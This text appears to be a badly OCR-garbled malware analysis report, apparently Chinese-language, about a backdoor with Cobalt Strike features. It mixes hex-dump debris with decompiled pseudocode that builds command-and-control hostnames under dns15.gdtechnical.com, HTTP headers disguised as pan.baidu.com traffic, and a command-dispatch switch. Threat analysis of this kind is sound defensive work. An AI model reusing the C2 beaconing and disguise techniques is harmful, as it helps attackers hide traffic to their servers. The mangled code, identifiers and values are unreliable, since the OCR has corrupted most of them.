gass2ena
gass2eEa8
gaus2aca
gasszaba
ga472BED
gaus2era
gass21068
gass2118
gaus2128
gass2138
gaus2148
gass215a
gaus2168
gass2178
gaus2188
gass219a
aaus21na
gass21B8
gaus21Cca
gass2108
gaus21ENB
gaus21Fa
aaus2208
gaus2218
aaus2228
gaus223a
aaus2248
gaus225a
aa472268
gaus227a
aaus2288
ﬂﬁ#f???ﬂ

aa
5]4)
aa
5]4)
a9
38
c3
4D
FC
B1
o8
9B
43
oD
aa
5]4)
aa
5]4)
aa
5]4)
64
i1H
aa
5]4)
aa
5]4)
aa
5]4)
aa
5]4)
aa
5]4)
aa
5]4)
aa
5]4)
aa
38
I
ia

a1
a3
28
az
2A
81
DA
A
iC
92
a9
EB
20
Bb
aa
aa
aa
aa
aa
aa
6E
2E
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
a9
28
3B
ia

/(IL:\: S‘Z#FXT C2

[EE#RT

{rand}.xxx

WWW6. XXX

cdn.xxx

api.xxx

e
aa
a2
5]
86
89
c1
BD
82
4F
28
3F
EQ
32
e
1)
e
1)
e
[]5)
73
63
e
1)
e
1)
e
1)
e
1)
e
1)
e
1)
e
15
e
28
28
6C

a1
a2
i1
F9
Lg
a2
o1
8B
Lo
8D
2R
6F
B
16
[]4]
[1]5]
[]4]
[1]5]
[]4]
[1]5]
D
6F
[]4]
[1]5]
[]4]
[1]5]
[]4]
[1]5]
[]4]
[1]5]
[]4]
[1]5]
[]4]
[1]5]
[]4]
[1]5]
a3
57
L7
65

aa
aa
aa
5]i)
86
81
4p
AE
ED
1
i1H
o7
68
SR
aa
51i)
aa
51i)
aa
aa
35
1))
aa
51i)
aa
51i)
aa
51i)
aa
51i)
aa
51i)
aa
51i)
aa
aa
aa
69
60
5?

az
a4
asc
a7
F7
81
Db
32
70
27
1A
9B
20
as
aa
aa
aa
aa
aa
aa
2E
2C
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
ga
6E
6E
65

e
15
e
15
ap
5]
8D
69
L
35
Cc3
EC
ce
21
e
1)
e
1)
e
[i]5)
67
2F
e
1)
e
1)
e
1)
e
1)
e
1)
e
1)
e
15
ub
64
26
62

a1
[5]5]
a1
a3
i}
Ch
FB
C7
a2
28
23
AF
DA
a2
a8
g8
a8
g8
a8
[5]5]
64
i3
a8
g8
a8
g8
a8
g8
a8
g8
a8
g8
a8
g8
a8
[i]5]
6F
6F
34
HB

aa
8B
aa
a1
a1
8B
c7
84
i
C8
L
AC
A9
a3
aa
aa
aa
aa
aa
aa
i
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
n
7
3B
69

az
B8
az
aa
a1
48
Cc3
¥o
o7
38
BA
c1
67
a1
aa
aa
aa
aa
aa
aa
6%
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
69
¥3
28
iy

177 % RIEERERER.,

BT, FHESTUR (oo NECE C2)

e
15
1]
38
8L
i1
34
DB
cD
g8
4B
CE
Lo
15
e
1)
e
1)
e
15
63
1)
e
1)
e
1)
e
1)
e
1)
e
1)
e
1)
e
15
6C
28
78
2F

a1
a4
an
81
ae
33
in
68
81
EC
DD
FA
28
a1
ae
ga
ae
ga
[i]4]
08
68
ga
ae
ga
ae
ga
ae
ga
ae
ga
ae
ga
ae
ga
ae
ge
6C
4E
36
35

aa
aa
aa
9F
a3
E1
L3
aa
8F
o7
8%
19
32
aa
aa
aa
aa
aa
aa
aa
6E
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
61
54
34
33

1T ARERGEREE, X C2 B

az
az
a6
38
21
A2
oD
a4
18
BS
GF
15
2%
aa
aa
aa
aa
aa
aa
a3
69
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
2F
28
20
37

1F
00
00
oD
8D
5A
73
91
CcB
ED
6C
D8
F5
00
00
00
00
00
00
o1
63
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
35
36
20
2E

o8
a4
a1
a6
ae
E1
2C
C8
D
Ab
CE
F9
DD
515)
ae
515)
ae
515)
ae
ae
61
515)
ae
515)
ae
515)
ae
515)
ae
515)
ae
515)
ae
515)
ae
515)
2E
2E
1
33

2bds A

i R |

nE. = ?anrllf'z@
g ?pngﬁ
MzZE 717y

o Ef?
7{*1l?E§§

{9
E}%ﬁﬁ 3 ?{2'-%
el EA LRSI o A

dns15.gdtechnica
L.COM S cccaass

T .EHozilla/s.
8 (Windows HT 6.
1; Win6h; =64) A
ppleﬂehﬁltISET 3

1T
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| T while (1)

= i

I if (v7=1)
i {
i v21 = sub_44@270(v40);

_snprintf{lpszServeriame, @x80u, "¥d.%s", rand_438DA8S, v21);

[ else if { v7 1= 2 )
' {
v22 = sub_44827D(v49);
! _snprintf({lpszServerlame, @xBou, "¥s", viZ2);
; }
‘ v23 = sub_44827D(v49);
i _snprintf({v58, 6x80u, “"¥s", v23);
i if (w7 =1)

; 24 = sub_ 442857 (lpszServeriame);
[ v25 = v53 ~ ntohl(v24);

45 = v25;

else
{
=1 j
i ) ¥
i }
if (v25 )

| if ( (v25 & OxFFFFFFF@) == @xF@ )

= 1

. dword_4732B8 = @;

! _snprintf(byte_4860C0, @x488u, "Xs", lpszServeriame);
' sub_44131B(v4s);

. if ( v45 & 1)
: {

i su

b_441562( (int)8unk 480948, (int)"www", (int)lpszServerilame, dword 4869A4);

6 = w273
¥

I if ( w45 & 2 )

' 1

. v28 = sub_448533(v26, 4);

! v29 = sub_442@6A((int)v47, vIB); /7 apl.ddix.¥s

; ¥

‘ else if ( v45 & 4 )

: sub_449533(v26, 4);
v29 = sub 44144F((int)v47, via); I vt . ¥s

w3l sub_449533(vi5, 4);
v29 = sub 441356((int)v47, v31); A/ cdn . ¥s

if (v29 > @)

i w32 = sub 4492@67(v47);
; if (w32 > @)
sub_4481A8((char *)}v47, v32);
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82 while { 1 )
a3 {
a4 if (w7 =1}
a5 7
86 w21 = sub_44827D(v29%;
a7 _snprintf({lpszServerName, 6x38u, "¥d.%s", dword 488DAE, v21);
a8
89 else if ( v7 1= 2 )
a8 'y
91 v22 = sub_44@27D(v49};
92 _snprintf(lpszServeriame, Ox30u, "¥s", v22);
a3 1
g4 v23 = sub 44827D(v45);
g5 _snprintf(vse, @xBlu, "¥s", v23);
96 if [ w7 =1}
97 7
a8 v24 = sub 442857 (lpszServerName);
99 v25 = v53 ~ ntohl(v24);
160 vd5 = v25;
181 1

@ 26 srand(vs " vd};

27 w7 = GenRandom_44238C(vE);

® 258  dword 488DAE = v7 ¥ @x1B6A8;
29  dword 488948 = v7 ¥ 9x136A8;
38 vi5S = sub 44687E(v3);
¥ 25 wl3 = 1824;
¥ 26 _snprintf(&name, Ox408u, "api.¥xix.¥s", B, vI, v3);
8 27 wE = sub 44206B(&nam=, 108);
281 w7 = ntohl(v&);
® 29 wvB = dword A7DBAC ~ v7;
) 386 vi4 = 1:
31 if ( dword 47DBAC == v7 || v& > a2 )
) 32 return @;
b 33 if [ IwB )
¥ 34 return v15;
® 35 while ( 1)
36 {
b 37 _snprintf(&names, @x460u, “api.¥dx.¥s", vid4, w5, vl
} 38 w3 = sub 442103 ((int)}&name, w17};
39 vi7[va] = @;
) 40 if ( sub 44A16F(v17, v3, &vl6, &13) )
A L ]
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= vd | rand(};
_snprintf(&name, @xd480u, "cdn.¥dx.%s", 6, vi, v3);
vE = sub 44288B(&name, 108);
v7 = ntohl({ve};
vB = dword 47DBAC ~ v7;
w13 = 13
if { dword 47DOAC == v7 || w8 ¥ a2 )
return 8;
if [ v8 )
i

]

do

{
_snprintf(&name, @x488u, “cdn.dx¥x.Fs", v13, wi, vi2);
v9 = sub 4428088 (&name, 188)%;

wlG

vid = wlgjg
A
ST

T T R i T ) [ =N WY I 6 T

Ln

*(_DWORD *)(al + v1e) = vo;

while { w14 < v8 };

Foo e LU LU g L g Ll d R BRI R R ORI RDRD ORI R

| L I v L B

i
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3240.dns15.gdtechnical.com

26963.dns15.gdtechnical.com
45938.dns15.gdtechnical.com
58246.dns15.gdtechnical.com
98818.dns15.gdtechnical.com
69665.dns15.gdtechnical.com
17468.dns15.gdtechnical.com
8263.dns15.gdtechnical.com

68421.dns15.gdtechnical.com
56370.dns15.gdtechnical.com
43501.dns15.gdtechnical.com
87881.dns15.gdtechnical.com
27831.dns15.qdtechnical.com
74078.dns15.gdtechnical.com
25729.dns15.gdtechnical.com
19397.dns15.gdtechnical.com
58596.dns15.qdtechnical.com
93681.dns15.gdtechnical.com
17961.dns15.gdtechnical.com
16808.dns15.gdtechnical.com
33102.dns15.gdtechnical.com
14694.dns15.gdtechnical.com

95289.dns15.adtechnical.com

b HTTP Header tEiHT 7 (o
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aa472430
Ba472440
aa472450
aaL72460
ga47247 08
aa472480
aaL72400
ga4s24n 0
aa4724B0
gaLs24Ca
gass24ba
aa472LER
ga4724F 8
ga47s2588
aa4725108
88472528
aa472530a
aa472540
ga472558
aa472560
aaL72570
ga472580
aa472594a
aa4725n0
ga472560
aa4725CcA
aa472508
a84725E8
aa4725F A
ga4726080

8472618
AALFZAZ R

aa
48
63
iy
6C
ab
i1
2E
2D
2C
a8
a8
17
9
aa
iy
63
aa
62
a7
i1
68
2F
1
28
aa
61
aa
aa
a1

ac
an

aa
6F
aF
an
69
i1H
6C
38
. 1H
65
69
iy
¥2
6F
aa
aa
6E
an
61
1
6C
iy
2R
63
65
aa
9
aa
aa
aa

63
an

aa
73
ab
28
63
2C
3B
aa
61
6E
65
6E
73
34
aa
aa
aa
aa
69
63
2C
6D
3JB
63
6E
a9
aa
a7
a6
aa

[i]H
an

ac
iy
aa
iy
61
61
i1
aa
6E
3B
3D
ab
i
b
ap
aa
aa
aa
64
63
61
6C
Fl
6%
2D
aa
aa
aa
61
aa

69
an

aa
3R
aa
6%
iy
i@
ab
aa
a7
i1
¥5
62
SF
6F
aa
a9
aa
aa
¥5
65
7a
2B
3D
ia
55
aa
aa
aa
7a
aF

65
an

a3
28
aa
78
69
i@
]
1]
Fi
2D
¥y
61
ia
34
aa
aa
aa
13
2E
i@
7a
8
a8
iy
53
aa
a9
aa
7a
aa

6E
an

a1
7
an
iy
6F
ac
2E
aa
61
28
66
69
i1
37
aa
aa
aa
LB
63
iy
6C
il
2E
2D
2C
8B
aa
aa
SF
aa

ih
an

aa
i7
aa
2F
6E
69
30
aa
a7
2E
2D
64
3D
66
as
aa
aa
6F
6F
an
69
6C
a8
Lc
65
63
aa
ag
69
aa

i
an

aa
i7
aa
68
2F
63
2C
aa
65
k1
38
75
6
115
aa
a9
aa
73
i1
28
63
3B
aa
61
6E
68
aa
ag
64
a4

79
an

BRI MCES 8 Cobalt Strike iImfEE &,

¥, SHEIK 91 RAERES:

0o
2E
ae
74
78
61
20
1F
3n
0o
0o
0o
73
8o
0o
72
a0
74
0o
74
61
71
8o
6E
3B
61
85
i
0o
0o

7@
an

aa
62
47
6D
68
iy
2F
11
28
aa
aa
aa
64
115
aa
i1
aa
an
aa
65
iy
3D
aa
67
i1
6E
7
ap
aa
aa

65
an

an
61
1
6C
iy
69
20
63
65
aa
aa
aa
¥y
as
as
6C
a3
28
aa
ig
69
38
an
75
3D
6E
65
ag
aa
aa

3D
an

aa
69
63
2C
6D
aF
3B
63
6E
a9
a9
a9
6E
ag
i2
61
i
P
i3]
iy
6F
2E
aa
61
38
65
62
115
a7
a9

3a
an

aa
64
63
61
6C
6E
i1
65
2D
aa
aa
aa
78
115
73
6E
aa
61
aa
2F
6E
39
aa
67
2E
6C
3D
ag
aa
aa
aa
(] ¢]

aa
5
65
P
2B
2F
aD
P
=1
aa
aa
aa
a1
115
b
67
aa
6E
aa
68
2F
2C
aa
6%
35
3D
a1
a5
aa
aa

13
2E
70
70
78
78
30
74
53
08
0o
08
6E
0o
SF
3D
00
2E
0o
74
78
2R
1F
3n
0o
64
0o
0o
08
0o

SZAIfERRRAELL,

t: text/html,app
lication/xhtml+x
ml,application/x
ml;q=0.9,*/*;q=08
i Baccept
-Language: en-US

Ersv_pg=vsdtnxzin
youvosif. . 0....
------- ¥.-Fsu_
| E rqlang=
B R
..... BHost: pan.
baidu.com.......
FAccept: text/ht
ml,application/x
html+zml;q=0.9,*
Feiq=0.8....... |
Accept-Language:
en-US,en;q=0.5.
...... Echannel=d

--Bapp_id.._H_._.

T . S—

.clienttype=8...

ST AN RS
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1 _DWORD * _ usercall sub 447CF4i<eax>(int alfi<ecx>, DWORD *result@<eax:, int a3f@<edx:)

[Tl R o W [ R BT N ]

16

26

_DWORD *vw3; /f/J esi
_DWORD *wd; f/ edi

FILE *v5; // 5718 4

int we; /S edx

int *v7: /f

ECx

u_long v8; //f eax

_DWORD *vB; [/ esi
signed int vie; //
signed int v11; //

switch [ a3 }

1

case 1:

wile = 1;

return [ DWORD *)}sub 444DAF(result, al,
case 3:

return (_DWORD *)sub_44231F(al);
case 4:

return ( DWORD *)}sub_4423A2(al, result);
case 5:

return ( DWORD *)}sub_442333(result);
case 9:

return (_DWORD *)sub_444C82(1);
case 18:

return (_DWORD *)sub_d429pa((int)result,
case 11:

return ( DWORD *}sub_ 443FB@(result, al);
case 12:

return ( DWORD *)sub_4423DA({result);
case 13:

return ( _DWORD *)}sub_449699(result, al,
case 14:

return ( DWORD *)sub 446DCF(result, al);
case 15:

return (_DWORD *)sub_446FDB(al);
case 16:

w3 = dword_ 470966 ;

result = { DWORD *}ntohl({*result};

while { v9 }

1

if ( vo[1] && result == ( DWCRD *)*v3
va[1] = @;
vG = { DWORD *}va[8];

¥

return result;
case 17:

return ( DWORD *)}sub_ 446D7B(result);
case 18:

return (_DWORD *)sub 444DEB(al, 1);
case 19:

v3 = dword_47D8Ba;

w1l@});

al, "wb™};

1)5

8% vo[4]
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185 return ( DWORD *}sub 448105(a1);
186 case 86:
187 return { DWORD *)sub 446860(al, (int)result);
188 case 87:
189 return { DWORD *)sub A44FBC(result, al, 1, @);
ige case 88:
191 vil = @;
192 return { DWORD *)sub A44FBC(result, al, @, vil};
193 case 89:
194 vie = 1;
195 return { DWORD *)sub 444DIF(result; al, v1@);
196 case 9@:
197 Vil = B;
198 return { DWORD *)sub 444D1F(result, al, v1@);
199 case 91:
208 return {_DWORD *)sub_444DEB(al, @);
261 default:
2682 return result;
283
284 while ( v7[9] !=1 || (_DWORD *}*w7 != re )
285
206 w7 += 13;
287 +vb;
208 if ( (signed int)v7 »= (signed int)}&dword 47D906 )
269 return result;
218}
211  return (_DWORD *)sub_448355((void *)dword 47D188[13 * v6], dword_ 47D16C[13 * ve], @ocAu);
212}
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